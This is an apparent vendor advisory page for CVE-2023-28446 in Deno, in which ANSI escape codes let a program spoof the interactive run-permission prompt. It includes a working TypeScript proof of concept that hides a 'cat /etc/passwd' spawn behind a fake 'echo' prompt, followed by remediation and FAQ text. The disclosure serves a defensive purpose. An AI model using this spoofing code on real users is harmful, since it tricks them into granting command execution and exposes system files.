Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child or op_kill prompt and replace it with any desired text.
Details
The main entry point comes down to the ability to override what the API control says (40_process.js). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in op_kill.
PoC
This PoC works on 1.31.1, but modified versions of it work on older versions.
Make a file, e.g. index.ts, that uses this vulnerability to spoof the op_spawn_child permission prompt
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold
const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`
const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line
Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
cmd: "cat",
args: ["/etc/passwd"],
clearEnv: false,
env: [],
stdin: "null",
stdout: "inherit",
stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
Run the file with deno run index.ts.
Impact
Any Deno program is able to spoof the interactive permission prompt for the op_spawn_child or the op_kill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:
// Expected Prompt
┌ ⚠️ Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
// Actual Prompt
┌ ⚠️ Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.
This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).
Before v1.31.0, this requires the --unstable flag.
CVE-2023-28446 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.31.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
deno_runtime to 1.31.2 or later; deno to 1.31.2 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-28446? CVE-2023-28446 is a high-severity security vulnerability in deno_runtime (rust), affecting versions >= 1.8.0, < 1.31.2. It is fixed in 1.31.2.
- How severe is CVE-2023-28446? CVE-2023-28446 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2023-28446?
deno_runtime(rust) (versions >= 1.8.0, < 1.31.2)deno(rust) (versions >= 1.8.0, < 1.31.2)
- Is there a fix for CVE-2023-28446? Yes. CVE-2023-28446 is fixed in 1.31.2. Upgrade to this version or later.
- Is CVE-2023-28446 exploitable, and should I be worried? Whether CVE-2023-28446 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-28446 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-28446?
- Upgrade
deno_runtimeto 1.31.2 or later - Upgrade
denoto 1.31.2 or later
- Upgrade